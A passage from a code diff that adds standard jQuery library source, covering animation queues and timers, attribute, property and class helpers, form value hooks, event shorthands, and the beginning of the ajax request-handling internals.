+		hooks = jQuery.cssHooks[ name ];
+		if ( hooks && "expand" in hooks ) {
+			value = hooks.expand( value );
+			delete props[ name ];
+
+			// Not quite $.extend, this won't overwrite existing keys.
+			// Reusing 'index' because we have the correct "name"
+			for ( index in value ) {
+				if ( !( index in props ) ) {
+					props[ index ] = value[ index ];
+					specialEasing[ index ] = easing;
+				}
+			}
+		} else {
+			specialEasing[ name ] = easing;
+		}
+	}
+}
+
+function Animation( elem, properties, options ) {
+	var result,
+		stopped,
+		index = 0,
+		length = animationPrefilters.length,
+		deferred = jQuery.Deferred().always( function() {
+			// Don't match elem in the :animated selector
+			delete tick.elem;
+		}),
+		tick = function() {
+			if ( stopped ) {
+				return false;
+			}
+			var currentTime = fxNow || createFxNow(),
+				remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),
+				// Support: Android 2.3
+				// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)
+				temp = remaining / animation.duration || 0,
+				percent = 1 - temp,
+				index = 0,
+				length = animation.tweens.length;
+
+			for ( ; index < length ; index++ ) {
+				animation.tweens[ index ].run( percent );
+			}
+
+			deferred.notifyWith( elem, [ animation, percent, remaining ]);
+
+			if ( percent < 1 && length ) {
+				return remaining;
+			} else {
+				deferred.resolveWith( elem, [ animation ] );
+				return false;
+			}
+		},
+		animation = deferred.promise({
+			elem: elem,
+			props: jQuery.extend( {}, properties ),
+			opts: jQuery.extend( true, { specialEasing: {} }, options ),
+			originalProperties: properties,
+			originalOptions: options,
+			startTime: fxNow || createFxNow(),
+			duration: options.duration,
+			tweens: [],
+			createTween: function( prop, end ) {
+				var tween = jQuery.Tween( elem, animation.opts, prop, end,
+						animation.opts.specialEasing[ prop ] || animation.opts.easing );
+				animation.tweens.push( tween );
+				return tween;
+			},
+			stop: function( gotoEnd ) {
+				var index = 0,
+					// If we are going to the end, we want to run all the tweens
+					// otherwise we skip this part
+					length = gotoEnd ? animation.tweens.length : 0;
+				if ( stopped ) {
+					return this;
+				}
+				stopped = true;
+				for ( ; index < length ; index++ ) {
+					animation.tweens[ index ].run( 1 );
+				}
+
+				// Resolve when we played the last frame; otherwise, reject
+				if ( gotoEnd ) {
+					deferred.resolveWith( elem, [ animation, gotoEnd ] );
+				} else {
+					deferred.rejectWith( elem, [ animation, gotoEnd ] );
+				}
+				return this;
+			}
+		}),
+		props = animation.props;
+
+	propFilter( props, animation.opts.specialEasing );
+
+	for ( ; index < length ; index++ ) {
+		result = animationPrefilters[ index ].call( animation, elem, props, animation.opts );
+		if ( result ) {
+			return result;
+		}
+	}
+
+	jQuery.map( props, createTween, animation );
+
+	if ( jQuery.isFunction( animation.opts.start ) ) {
+		animation.opts.start.call( elem, animation );
+	}
+
+	jQuery.fx.timer(
+		jQuery.extend( tick, {
+			elem: elem,
+			anim: animation,
+			queue: animation.opts.queue
+		})
+	);
+
+	// attach callbacks from options
+	return animation.progress( animation.opts.progress )
+		.done( animation.opts.done, animation.opts.complete )
+		.fail( animation.opts.fail )
+		.always( animation.opts.always );
+}
+
+jQuery.Animation = jQuery.extend( Animation, {
+
+	tweener: function( props, callback ) {
+		if ( jQuery.isFunction( props ) ) {
+			callback = props;
+			props = [ "*" ];
+		} else {
+			props = props.split(" ");
+		}
+
+		var prop,
+			index = 0,
+			length = props.length;
+
+		for ( ; index < length ; index++ ) {
+			prop = props[ index ];
+			tweeners[ prop ] = tweeners[ prop ] || [];
+			tweeners[ prop ].unshift( callback );
+		}
+	},
+
+	prefilter: function( callback, prepend ) {
+		if ( prepend ) {
+			animationPrefilters.unshift( callback );
+		} else {
+			animationPrefilters.push( callback );
+		}
+	}
+});
+
+jQuery.speed = function( speed, easing, fn ) {
+	var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
+		complete: fn || !fn && easing ||
+			jQuery.isFunction( speed ) && speed,
+		duration: speed,
+		easing: fn && easing || easing && !jQuery.isFunction( easing ) && easing
+	};
+
+	opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration :
+		opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[ opt.duration ] : jQuery.fx.speeds._default;
+
+	// Normalize opt.queue - true/undefined/null -> "fx"
+	if ( opt.queue == null || opt.queue === true ) {
+		opt.queue = "fx";
+	}
+
+	// Queueing
+	opt.old = opt.complete;
+
+	opt.complete = function() {
+		if ( jQuery.isFunction( opt.old ) ) {
+			opt.old.call( this );
+		}
+
+		if ( opt.queue ) {
+			jQuery.dequeue( this, opt.queue );
+		}
+	};
+
+	return opt;
+};
+
+jQuery.fn.extend({
+	fadeTo: function( speed, to, easing, callback ) {
+
+		// Show any hidden elements after setting opacity to 0
+		return this.filter( isHidden ).css( "opacity", 0 ).show()
+
+			// Animate to the value specified
+			.end().animate({ opacity: to }, speed, easing, callback );
+	},
+	animate: function( prop, speed, easing, callback ) {
+		var empty = jQuery.isEmptyObject( prop ),
+			optall = jQuery.speed( speed, easing, callback ),
+			doAnimation = function() {
+				// Operate on a copy of prop so per-property easing won't be lost
+				var anim = Animation( this, jQuery.extend( {}, prop ), optall );
+
+				// Empty animations, or finishing resolves immediately
+				if ( empty || data_priv.get( this, "finish" ) ) {
+					anim.stop( true );
+				}
+			};
+			doAnimation.finish = doAnimation;
+
+		return empty || optall.queue === false ?
+			this.each( doAnimation ) :
+			this.queue( optall.queue, doAnimation );
+	},
+	stop: function( type, clearQueue, gotoEnd ) {
+		var stopQueue = function( hooks ) {
+			var stop = hooks.stop;
+			delete hooks.stop;
+			stop( gotoEnd );
+		};
+
+		if ( typeof type !== "string" ) {
+			gotoEnd = clearQueue;
+			clearQueue = type;
+			type = undefined;
+		}
+		if ( clearQueue && type !== false ) {
+			this.queue( type || "fx", [] );
+		}
+
+		return this.each(function() {
+			var dequeue = true,
+				index = type != null && type + "queueHooks",
+				timers = jQuery.timers,
+				data = data_priv.get( this );
+
+			if ( index ) {
+				if ( data[ index ] && data[ index ].stop ) {
+					stopQueue( data[ index ] );
+				}
+			} else {
+				for ( index in data ) {
+					if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
+						stopQueue( data[ index ] );
+					}
+				}
+			}
+
+			for ( index = timers.length; index--; ) {
+				if ( timers[ index ].elem === this && (type == null || timers[ index ].queue === type) ) {
+					timers[ index ].anim.stop( gotoEnd );
+					dequeue = false;
+					timers.splice( index, 1 );
+				}
+			}
+
+			// Start the next in the queue if the last step wasn't forced.
+			// Timers currently will call their complete callbacks, which
+			// will dequeue but only if they were gotoEnd.
+			if ( dequeue || !gotoEnd ) {
+				jQuery.dequeue( this, type );
+			}
+		});
+	},
+	finish: function( type ) {
+		if ( type !== false ) {
+			type = type || "fx";
+		}
+		return this.each(function() {
+			var index,
+				data = data_priv.get( this ),
+				queue = data[ type + "queue" ],
+				hooks = data[ type + "queueHooks" ],
+				timers = jQuery.timers,
+				length = queue ? queue.length : 0;
+
+			// Enable finishing flag on private data
+			data.finish = true;
+
+			// Empty the queue first
+			jQuery.queue( this, type, [] );
+
+			if ( hooks && hooks.stop ) {
+				hooks.stop.call( this, true );
+			}
+
+			// Look for any active animations, and finish them
+			for ( index = timers.length; index--; ) {
+				if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
+					timers[ index ].anim.stop( true );
+					timers.splice( index, 1 );
+				}
+			}
+
+			// Look for any animations in the old queue and finish them
+			for ( index = 0; index < length; index++ ) {
+				if ( queue[ index ] && queue[ index ].finish ) {
+					queue[ index ].finish.call( this );
+				}
+			}
+
+			// Turn off finishing flag
+			delete data.finish;
+		});
+	}
+});
+
+jQuery.each([ "toggle", "show", "hide" ], function( i, name ) {
+	var cssFn = jQuery.fn[ name ];
+	jQuery.fn[ name ] = function( speed, easing, callback ) {
+		return speed == null || typeof speed === "boolean" ?
+			cssFn.apply( this, arguments ) :
+			this.animate( genFx( name, true ), speed, easing, callback );
+	};
+});
+
+// Generate shortcuts for custom animations
+jQuery.each({
+	slideDown: genFx("show"),
+	slideUp: genFx("hide"),
+	slideToggle: genFx("toggle"),
+	fadeIn: { opacity: "show" },
+	fadeOut: { opacity: "hide" },
+	fadeToggle: { opacity: "toggle" }
+}, function( name, props ) {
+	jQuery.fn[ name ] = function( speed, easing, callback ) {
+		return this.animate( props, speed, easing, callback );
+	};
+});
+
+jQuery.timers = [];
+jQuery.fx.tick = function() {
+	var timer,
+		i = 0,
+		timers = jQuery.timers;
+
+	fxNow = jQuery.now();
+
+	for ( ; i < timers.length; i++ ) {
+		timer = timers[ i ];
+		// Checks the timer has not already been removed
+		if ( !timer() && timers[ i ] === timer ) {
+			timers.splice( i--, 1 );
+		}
+	}
+
+	if ( !timers.length ) {
+		jQuery.fx.stop();
+	}
+	fxNow = undefined;
+};
+
+jQuery.fx.timer = function( timer ) {
+	jQuery.timers.push( timer );
+	if ( timer() ) {
+		jQuery.fx.start();
+	} else {
+		jQuery.timers.pop();
+	}
+};
+
+jQuery.fx.interval = 13;
+
+jQuery.fx.start = function() {
+	if ( !timerId ) {
+		timerId = setInterval( jQuery.fx.tick, jQuery.fx.interval );
+	}
+};
+
+jQuery.fx.stop = function() {
+	clearInterval( timerId );
+	timerId = null;
+};
+
+jQuery.fx.speeds = {
+	slow: 600,
+	fast: 200,
+	// Default speed
+	_default: 400
+};
+
+
+// Based off of the plugin by Clint Helfers, with permission.
+// http://blindsignals.com/index.php/2009/07/jquery-delay/
+jQuery.fn.delay = function( time, type ) {
+	time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
+	type = type || "fx";
+
+	return this.queue( type, function( next, hooks ) {
+		var timeout = setTimeout( next, time );
+		hooks.stop = function() {
+			clearTimeout( timeout );
+		};
+	});
+};
+
+
+(function() {
+	var input = document.createElement( "input" ),
+		select = document.createElement( "select" ),
+		opt = select.appendChild( document.createElement( "option" ) );
+
+	input.type = "checkbox";
+
+	// Support: iOS<=5.1, Android<=4.2+
+	// Default value for a checkbox should be "on"
+	support.checkOn = input.value !== "";
+
+	// Support: IE<=11+
+	// Must access selectedIndex to make default options select
+	support.optSelected = opt.selected;
+
+	// Support: Android<=2.3
+	// Options inside disabled selects are incorrectly marked as disabled
+	select.disabled = true;
+	support.optDisabled = !opt.disabled;
+
+	// Support: IE<=11+
+	// An input loses its value after becoming a radio
+	input = document.createElement( "input" );
+	input.value = "t";
+	input.type = "radio";
+	support.radioValue = input.value === "t";
+})();
+
+
+var nodeHook, boolHook,
+	attrHandle = jQuery.expr.attrHandle;
+
+jQuery.fn.extend({
+	attr: function( name, value ) {
+		return access( this, jQuery.attr, name, value, arguments.length > 1 );
+	},
+
+	removeAttr: function( name ) {
+		return this.each(function() {
+			jQuery.removeAttr( this, name );
+		});
+	}
+});
+
+jQuery.extend({
+	attr: function( elem, name, value ) {
+		var hooks, ret,
+			nType = elem.nodeType;
+
+		// don't get/set attributes on text, comment and attribute nodes
+		if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
+			return;
+		}
+
+		// Fallback to prop when attributes are not supported
+		if ( typeof elem.getAttribute === strundefined ) {
+			return jQuery.prop( elem, name, value );
+		}
+
+		// All attributes are lowercase
+		// Grab necessary hook if one is defined
+		if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
+			name = name.toLowerCase();
+			hooks = jQuery.attrHooks[ name ] ||
+				( jQuery.expr.match.bool.test( name ) ? boolHook : nodeHook );
+		}
+
+		if ( value !== undefined ) {
+
+			if ( value === null ) {
+				jQuery.removeAttr( elem, name );
+
+			} else if ( hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ) {
+				return ret;
+
+			} else {
+				elem.setAttribute( name, value + "" );
+				return value;
+			}
+
+		} else if ( hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ) {
+			return ret;
+
+		} else {
+			ret = jQuery.find.attr( elem, name );
+
+			// Non-existent attributes return null, we normalize to undefined
+			return ret == null ?
+				undefined :
+				ret;
+		}
+	},
+
+	removeAttr: function( elem, value ) {
+		var name, propName,
+			i = 0,
+			attrNames = value && value.match( rnotwhite );
+
+		if ( attrNames && elem.nodeType === 1 ) {
+			while ( (name = attrNames[i++]) ) {
+				propName = jQuery.propFix[ name ] || name;
+
+				// Boolean attributes get special treatment (#10870)
+				if ( jQuery.expr.match.bool.test( name ) ) {
+					// Set corresponding property to false
+					elem[ propName ] = false;
+				}
+
+				elem.removeAttribute( name );
+			}
+		}
+	},
+
+	attrHooks: {
+		type: {
+			set: function( elem, value ) {
+				if ( !support.radioValue && value === "radio" &&
+					jQuery.nodeName( elem, "input" ) ) {
+					var val = elem.value;
+					elem.setAttribute( "type", value );
+					if ( val ) {
+						elem.value = val;
+					}
+					return value;
+				}
+			}
+		}
+	}
+});
+
+// Hooks for boolean attributes
+boolHook = {
+	set: function( elem, value, name ) {
+		if ( value === false ) {
+			// Remove boolean attributes when set to false
+			jQuery.removeAttr( elem, name );
+		} else {
+			elem.setAttribute( name, name );
+		}
+		return name;
+	}
+};
+jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) {
+	var getter = attrHandle[ name ] || jQuery.find.attr;
+
+	attrHandle[ name ] = function( elem, name, isXML ) {
+		var ret, handle;
+		if ( !isXML ) {
+			// Avoid an infinite loop by temporarily removing this function from the getter
+			handle = attrHandle[ name ];
+			attrHandle[ name ] = ret;
+			ret = getter( elem, name, isXML ) != null ?
+				name.toLowerCase() :
+				null;
+			attrHandle[ name ] = handle;
+		}
+		return ret;
+	};
+});
+
+
+
+
+var rfocusable = /^(?:input|select|textarea|button)$/i;
+
+jQuery.fn.extend({
+	prop: function( name, value ) {
+		return access( this, jQuery.prop, name, value, arguments.length > 1 );
+	},
+
+	removeProp: function( name ) {
+		return this.each(function() {
+			delete this[ jQuery.propFix[ name ] || name ];
+		});
+	}
+});
+
+jQuery.extend({
+	propFix: {
+		"for": "htmlFor",
+		"class": "className"
+	},
+
+	prop: function( elem, name, value ) {
+		var ret, hooks, notxml,
+			nType = elem.nodeType;
+
+		// Don't get/set properties on text, comment and attribute nodes
+		if ( !elem || nType === 3 || nType === 8 || nType === 2 ) {
+			return;
+		}
+
+		notxml = nType !== 1 || !jQuery.isXMLDoc( elem );
+
+		if ( notxml ) {
+			// Fix name and attach hooks
+			name = jQuery.propFix[ name ] || name;
+			hooks = jQuery.propHooks[ name ];
+		}
+
+		if ( value !== undefined ) {
+			return hooks && "set" in hooks && (ret = hooks.set( elem, value, name )) !== undefined ?
+				ret :
+				( elem[ name ] = value );
+
+		} else {
+			return hooks && "get" in hooks && (ret = hooks.get( elem, name )) !== null ?
+				ret :
+				elem[ name ];
+		}
+	},
+
+	propHooks: {
+		tabIndex: {
+			get: function( elem ) {
+				return elem.hasAttribute( "tabindex" ) || rfocusable.test( elem.nodeName ) || elem.href ?
+					elem.tabIndex :
+					-1;
+			}
+		}
+	}
+});
+
+if ( !support.optSelected ) {
+	jQuery.propHooks.selected = {
+		get: function( elem ) {
+			var parent = elem.parentNode;
+			if ( parent && parent.parentNode ) {
+				parent.parentNode.selectedIndex;
+			}
+			return null;
+		}
+	};
+}
+
+jQuery.each([
+	"tabIndex",
+	"readOnly",
+	"maxLength",
+	"cellSpacing",
+	"cellPadding",
+	"rowSpan",
+	"colSpan",
+	"useMap",
+	"frameBorder",
+	"contentEditable"
+], function() {
+	jQuery.propFix[ this.toLowerCase() ] = this;
+});
+
+
+
+
+var rclass = /[\t\r\n\f]/g;
+
+jQuery.fn.extend({
+	addClass: function( value ) {
+		var classes, elem, cur, clazz, j, finalValue,
+			proceed = typeof value === "string" && value,
+			i = 0,
+			len = this.length;
+
+		if ( jQuery.isFunction( value ) ) {
+			return this.each(function( j ) {
+				jQuery( this ).addClass( value.call( this, j, this.className ) );
+			});
+		}
+
+		if ( proceed ) {
+			// The disjunction here is for better compressibility (see removeClass)
+			classes = ( value || "" ).match( rnotwhite ) || [];
+
+			for ( ; i < len; i++ ) {
+				elem = this[ i ];
+				cur = elem.nodeType === 1 && ( elem.className ?
+					( " " + elem.className + " " ).replace( rclass, " " ) :
+					" "
+				);
+
+				if ( cur ) {
+					j = 0;
+					while ( (clazz = classes[j++]) ) {
+						if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
+							cur += clazz + " ";
+						}
+					}
+
+					// only assign if different to avoid unneeded rendering.
+					finalValue = jQuery.trim( cur );
+					if ( elem.className !== finalValue ) {
+						elem.className = finalValue;
+					}
+				}
+			}
+		}
+
+		return this;
+	},
+
+	removeClass: function( value ) {
+		var classes, elem, cur, clazz, j, finalValue,
+			proceed = arguments.length === 0 || typeof value === "string" && value,
+			i = 0,
+			len = this.length;
+
+		if ( jQuery.isFunction( value ) ) {
+			return this.each(function( j ) {
+				jQuery( this ).removeClass( value.call( this, j, this.className ) );
+			});
+		}
+		if ( proceed ) {
+			classes = ( value || "" ).match( rnotwhite ) || [];
+
+			for ( ; i < len; i++ ) {
+				elem = this[ i ];
+				// This expression is here for better compressibility (see addClass)
+				cur = elem.nodeType === 1 && ( elem.className ?
+					( " " + elem.className + " " ).replace( rclass, " " ) :
+					""
+				);
+
+				if ( cur ) {
+					j = 0;
+					while ( (clazz = classes[j++]) ) {
+						// Remove *all* instances
+						while ( cur.indexOf( " " + clazz + " " ) >= 0 ) {
+							cur = cur.replace( " " + clazz + " ", " " );
+						}
+					}
+
+					// Only assign if different to avoid unneeded rendering.
+					finalValue = value ? jQuery.trim( cur ) : "";
+					if ( elem.className !== finalValue ) {
+						elem.className = finalValue;
+					}
+				}
+			}
+		}
+
+		return this;
+	},
+
+	toggleClass: function( value, stateVal ) {
+		var type = typeof value;
+
+		if ( typeof stateVal === "boolean" && type === "string" ) {
+			return stateVal ? this.addClass( value ) : this.removeClass( value );
+		}
+
+		if ( jQuery.isFunction( value ) ) {
+			return this.each(function( i ) {
+				jQuery( this ).toggleClass( value.call(this, i, this.className, stateVal), stateVal );
+			});
+		}
+
+		return this.each(function() {
+			if ( type === "string" ) {
+				// Toggle individual class names
+				var className,
+					i = 0,
+					self = jQuery( this ),
+					classNames = value.match( rnotwhite ) || [];
+
+				while ( (className = classNames[ i++ ]) ) {
+					// Check each className given, space separated list
+					if ( self.hasClass( className ) ) {
+						self.removeClass( className );
+					} else {
+						self.addClass( className );
+					}
+				}
+
+			// Toggle whole class name
+			} else if ( type === strundefined || type === "boolean" ) {
+				if ( this.className ) {
+					// store className if set
+					data_priv.set( this, "__className__", this.className );
+				}
+
+				// If the element has a class name or if we're passed `false`,
+				// then remove the whole classname (if there was one, the above saved it).
+				// Otherwise bring back whatever was previously saved (if anything),
+				// falling back to the empty string if nothing was stored.
+				this.className = this.className || value === false ? "" : data_priv.get( this, "__className__" ) || "";
+			}
+		});
+	},
+
+	hasClass: function( selector ) {
+		var className = " " + selector + " ",
+			i = 0,
+			l = this.length;
+		for ( ; i < l; i++ ) {
+			if ( this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf( className ) >= 0 ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+});
+
+
+
+
+var rreturn = /\r/g;
+
+jQuery.fn.extend({
+	val: function( value ) {
+		var hooks, ret, isFunction,
+			elem = this[0];
+
+		if ( !arguments.length ) {
+			if ( elem ) {
+				hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ];
+
+				if ( hooks && "get" in hooks && (ret = hooks.get( elem, "value" )) !== undefined ) {
+					return ret;
+				}
+
+				ret = elem.value;
+
+				return typeof ret === "string" ?
+					// Handle most common string cases
+					ret.replace(rreturn, "") :
+					// Handle cases where value is null/undef or number
+					ret == null ? "" : ret;
+			}
+
+			return;
+		}
+
+		isFunction = jQuery.isFunction( value );
+
+		return this.each(function( i ) {
+			var val;
+
+			if ( this.nodeType !== 1 ) {
+				return;
+			}
+
+			if ( isFunction ) {
+				val = value.call( this, i, jQuery( this ).val() );
+			} else {
+				val = value;
+			}
+
+			// Treat null/undefined as ""; convert numbers to string
+			if ( val == null ) {
+				val = "";
+
+			} else if ( typeof val === "number" ) {
+				val += "";
+
+			} else if ( jQuery.isArray( val ) ) {
+				val = jQuery.map( val, function( value ) {
+					return value == null ? "" : value + "";
+				});
+			}
+
+			hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
+
+			// If set returns undefined, fall back to normal setting
+			if ( !hooks || !("set" in hooks) || hooks.set( this, val, "value" ) === undefined ) {
+				this.value = val;
+			}
+		});
+	}
+});
+
+jQuery.extend({
+	valHooks: {
+		option: {
+			get: function( elem ) {
+				var val = jQuery.find.attr( elem, "value" );
+				return val != null ?
+					val :
+					// Support: IE10-11+
+					// option.text throws exceptions (#14686, #14858)
+					jQuery.trim( jQuery.text( elem ) );
+			}
+		},
+		select: {
+			get: function( elem ) {
+				var value, option,
+					options = elem.options,
+					index = elem.selectedIndex,
+					one = elem.type === "select-one" || index < 0,
+					values = one ? null : [],
+					max = one ? index + 1 : options.length,
+					i = index < 0 ?
+						max :
+						one ? index : 0;
+
+				// Loop through all the selected options
+				for ( ; i < max; i++ ) {
+					option = options[ i ];
+
+					// IE6-9 doesn't update selected after form reset (#2551)
+					if ( ( option.selected || i === index ) &&
+							// Don't return options that are disabled or in a disabled optgroup
+							( support.optDisabled ? !option.disabled : option.getAttribute( "disabled" ) === null ) &&
+							( !option.parentNode.disabled || !jQuery.nodeName( option.parentNode, "optgroup" ) ) ) {
+
+						// Get the specific value for the option
+						value = jQuery( option ).val();
+
+						// We don't need an array for one selects
+						if ( one ) {
+							return value;
+						}
+
+						// Multi-Selects return an array
+						values.push( value );
+					}
+				}
+
+				return values;
+			},
+
+			set: function( elem, value ) {
+				var optionSet, option,
+					options = elem.options,
+					values = jQuery.makeArray( value ),
+					i = options.length;
+
+				while ( i-- ) {
+					option = options[ i ];
+					if ( (option.selected = jQuery.inArray( option.value, values ) >= 0) ) {
+						optionSet = true;
+					}
+				}
+
+				// Force browsers to behave consistently when non-matching value is set
+				if ( !optionSet ) {
+					elem.selectedIndex = -1;
+				}
+				return values;
+			}
+		}
+	}
+});
+
+// Radios and checkboxes getter/setter
+jQuery.each([ "radio", "checkbox" ], function() {
+	jQuery.valHooks[ this ] = {
+		set: function( elem, value ) {
+			if ( jQuery.isArray( value ) ) {
+				return ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 );
+			}
+		}
+	};
+	if ( !support.checkOn ) {
+		jQuery.valHooks[ this ].get = function( elem ) {
+			return elem.getAttribute("value") === null ? "on" : elem.value;
+		};
+	}
+});
+
+
+
+
+// Return jQuery for attributes-only inclusion
+
+
+jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " +
+	"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
+	"change select submit keydown keypress keyup error contextmenu").split(" "), function( i, name ) {
+
+	// Handle event binding
+	jQuery.fn[ name ] = function( data, fn ) {
+		return arguments.length > 0 ?
+			this.on( name, null, data, fn ) :
+			this.trigger( name );
+	};
+});
+
+jQuery.fn.extend({
+	hover: function( fnOver, fnOut ) {
+		return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
+	},
+
+	bind: function( types, data, fn ) {
+		return this.on( types, null, data, fn );
+	},
+	unbind: function( types, fn ) {
+		return this.off( types, null, fn );
+	},
+
+	delegate: function( selector, types, data, fn ) {
+		return this.on( types, selector, data, fn );
+	},
+	undelegate: function( selector, types, fn ) {
+		// ( namespace ) or ( selector, types [, fn] )
+		return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn );
+	}
+});
+
+
+var nonce = jQuery.now();
+
+var rquery = (/\?/);
+
+
+
+// Support: Android 2.3
+// Workaround failure to string-cast null input
+jQuery.parseJSON = function( data ) {
+	return JSON.parse( data + "" );
+};
+
+
+// Cross-browser xml parsing
+jQuery.parseXML = function( data ) {
+	var xml, tmp;
+	if ( !data || typeof data !== "string" ) {
+		return null;
+	}
+
+	// Support: IE9
+	try {
+		tmp = new DOMParser();
+		xml = tmp.parseFromString( data, "text/xml" );
+	} catch ( e ) {
+		xml = undefined;
+	}
+
+	if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) {
+		jQuery.error( "Invalid XML: " + data );
+	}
+	return xml;
+};
+
+
+var
+	rhash = /#.*$/,
+	rts = /([?&])_=[^&]*/,
+	rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg,
+	// #7653, #8125, #8152: local protocol detection
+	rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
+	rnoContent = /^(?:GET|HEAD)$/,
+	rprotocol = /^\/\//,
+	rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
+
+	/* Prefilters
+	 * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
+	 * 2) These are called:
+	 *    - BEFORE asking for a transport
+	 *    - AFTER param serialization (s.data is a string if s.processData is true)
+	 * 3) key is the dataType
+	 * 4) the catchall symbol "*" can be used
+	 * 5) execution will start with transport dataType and THEN continue down to "*" if needed
+	 */
+	prefilters = {},
+
+	/* Transports bindings
+	 * 1) key is the dataType
+	 * 2) the catchall symbol "*" can be used
+	 * 3) selection will start with transport dataType and THEN go to "*" if needed
+	 */
+	transports = {},
+
+	// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
+	allTypes = "*/".concat( "*" ),
+
+	// Document location
+	ajaxLocation = window.location.href,
+
+	// Segment location into parts
+	ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];
+
+// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
+function addToPrefiltersOrTransports( structure ) {
+
+	// dataTypeExpression is optional and defaults to "*"
+	return function( dataTypeExpression, func ) {
+
+		if ( typeof dataTypeExpression !== "string" ) {
+			func = dataTypeExpression;
+			dataTypeExpression = "*";
+		}
+
+		var dataType,
+			i = 0,
+			dataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || [];
+
+		if ( jQuery.isFunction( func ) ) {
+			// For each dataType in the dataTypeExpression
+			while ( (dataType = dataTypes[i++]) ) {
+				// Prepend if requested
+				if ( dataType[0] === "+" ) {
+					dataType = dataType.slice( 1 ) || "*";
+					(structure[ dataType ] = structure[ dataType ] || []).unshift( func );
+
+				// Otherwise append
+				} else {
+					(structure[ dataType ] = structure[ dataType ] || []).push( func );
+				}
+			}
+		}
+	};
+}
+
+// Base inspection function for prefilters and transports
+function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {
+
+	var inspected = {},
+		seekingTransport = ( structure === transports );
+
+	function inspect( dataType ) {
+		var selected;
+		inspected[ dataType ] = true;
+		jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
+			var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
+			if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) {
+				options.dataTypes.unshift( dataTypeOrTransport );
+				inspect( dataTypeOrTransport );
+				return false;
+			} else if ( seekingTransport ) {
+				return !( selected = dataTypeOrTransport );
+			}
+		});
+		return selected;
+	}
+
+	return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
+}
+
+// A special extend for ajax options
+// that takes "flat" options (not to be deep extended)
+// Fixes #9887
+function ajaxExtend( target, src ) {
+	var key, deep,
+		flatOptions = jQuery.ajaxSettings.flatOptions || {};
+
+	for ( key in src ) {
+		if ( src[ key ] !== undefined ) {
+			( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];
+		}
+	}
+	if ( deep ) {
+		jQuery.extend( true, target, deep );
+	}
+
+	return target;
+}
+
+/* Handles responses to an ajax request:
+ * - finds the right dataType (mediates between content-type and expected dataType)
+ * - returns the corresponding response
+ */
+function ajaxHandleResponses( s, jqXHR, responses ) {
+
+	var ct, type, finalDataType, firstDataType,
+		contents = s.contents,
+		dataTypes = s.dataTypes;
+
+	// Remove auto dataType and get content-type in the process
+	while ( dataTypes[ 0 ] === "*" ) {
+		dataTypes.shift();
+		if ( ct === undefined ) {
+			ct = s.mimeType || jqXHR.getResponseHeader("Content-Type");
+		}
+	}
+
+	// Check if we're dealing with a known content-type
+	if ( ct ) {
+		for ( type in contents ) {
+			if ( contents[ type ] && contents[ type ].test( ct ) ) {
+				dataTypes.unshift( type );
+				break;
+			}
+		}
+	}
+
+	// Check to see if we have a response for the expected dataType
+	if ( dataTypes[ 0 ] in responses ) {
+		finalDataType = dataTypes[ 0 ];
+	} else {
+		// Try convertible dataTypes
+		for ( type in responses ) {
+			if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[0] ] ) {
+				finalDataType = type;
+				break;
+			}
+			if ( !firstDataType ) {
+				firstDataType = type;
+			}
+		}
+		// Or just use first one
+		finalDataType = finalDataType || firstDataType;
+	}
+
+	// If we found a dataType
+	// We add the dataType to the list if needed
+	// and return the corresponding response
+	if ( finalDataType ) {
+		if ( finalDataType !== dataTypes[ 0 ] ) {
+			dataTypes.unshift( finalDataType );
+		}
+		return responses[ finalDataType ];
+	}
+}
+
+/* Chain conversions given the request and the original response
+ * Also sets the responseXXX fields on the jqXHR instance
+ */
+function ajaxConvert( s, response, jqXHR, isSuccess ) {
+	var conv2, current, conv, tmp, prev,
+		converters = {},
+		// Work with a copy of dataTypes in case we need to modify it for conversion
+		dataTypes = s.dataTypes.slice();
+
+	// Create converters map with lowercased keys
+	if ( dataTypes[ 1 ] ) {
+		for ( conv in s.converters ) {
+			converters[ conv.toLowerCase() ] = s.converters[ conv ];
+		}
+	}
+
+	current = dataTypes.shift();
+
+	// Convert to each sequential dataType
+	while ( current ) {
+
+		if ( s.responseFields[ current ] ) {
